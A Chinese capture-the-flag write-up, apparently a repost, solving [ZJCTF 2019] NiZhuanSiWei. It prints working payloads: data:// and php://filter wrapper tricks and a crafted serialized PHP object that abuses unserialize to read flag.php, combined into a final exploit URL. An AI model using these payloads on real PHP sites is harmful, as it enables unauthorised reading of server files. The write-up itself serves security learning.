首页 > 其他 > 详细

file_get_contents与伪协议

时间:2021-06-02 09:37:13      阅读:54      评论:0      收藏:0      [点我收藏+]

来源[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){  //绕过点1
    echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>";
    if(preg_match("/flag/",$file)){    //绕过点2
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

源码审计发现需要进行两次绕过

关于file_get_contents

参考20210218CTF伪协议绕过file_get_contents(bugkuctf的web21御结冰城感想)_热热的雨夜的博客-CSDN博客

该函数是用于把文件的内容读入到一个字符串中的首选方法,但我们无法得知内容为welcome to the zjctf的文件名,也无法上传文件,file_get_contents的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL故可以利用伪协议进行绕过

file_get_contents可以解析的伪协议

php://input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。enctype=“multipart/form-data”的时候 php://input 是无效的。

利用bp抓包进行利用如下

技术分享图片

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输,用法data://text/plain;base64,base64编码数据

故构造payload1:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=                      welcome to the zjctf进行base64编码

成功绕过

技术分享图片

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用,用于读取源代码

php://filter 参数
名称描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

 

    if(preg_match("/flag/",$file)){    //绕过点2
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

 此处preg_match限制file不能传入带有flag的字符,则进入else语句,发现有个useless.php,试用php://filter 进行读取,如下

 payload2:file=php://filter/read=convert.base64-encode/resource=useless.php,得到一串base64编码

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

进行解码得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);  
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

根据$password = unserialize($password);  得知我们需要构造序列化语句,file_get_contents可以解析php://filter,则我们如下进行构造

<?php  

class Flag{  //flag.php  
    public $file=‘php://filter/read=convert.base64-encode/resource=flag.php‘;  
    //public $file=‘flag.php‘  这种方式可以通过F12进行查看flag
}    
$a=new Flag();
echo serialize($a);

得到payload3:password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

payload

将上述payload结合得到?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}

将得到的base64编码解码

PGJyPm9oIHUgZmluZCBpdCA8L2JyPgoKPCEtLWJ1dCBpIGNhbnQgZ2l2ZSBpdCB0byB1IG5vdy0tPgoKPD9waHAKCmlmKDI9PT0zKXsgIAoJcmV0dXJuICgiZmxhZ3tjODQwMjZkMy01MmEzLTRlYjgtYTQyOS1mNGY1OTU3OGZjMDF9Iik7Cn0KCj8

<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
    return ("flag{c84026d3-52a3-4eb8-a429-f4f59578fc01}");   --得到flag
}

?

 

file_get_contents与伪协议

原文:https://www.cnblogs.com/llllll7/p/14839132.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!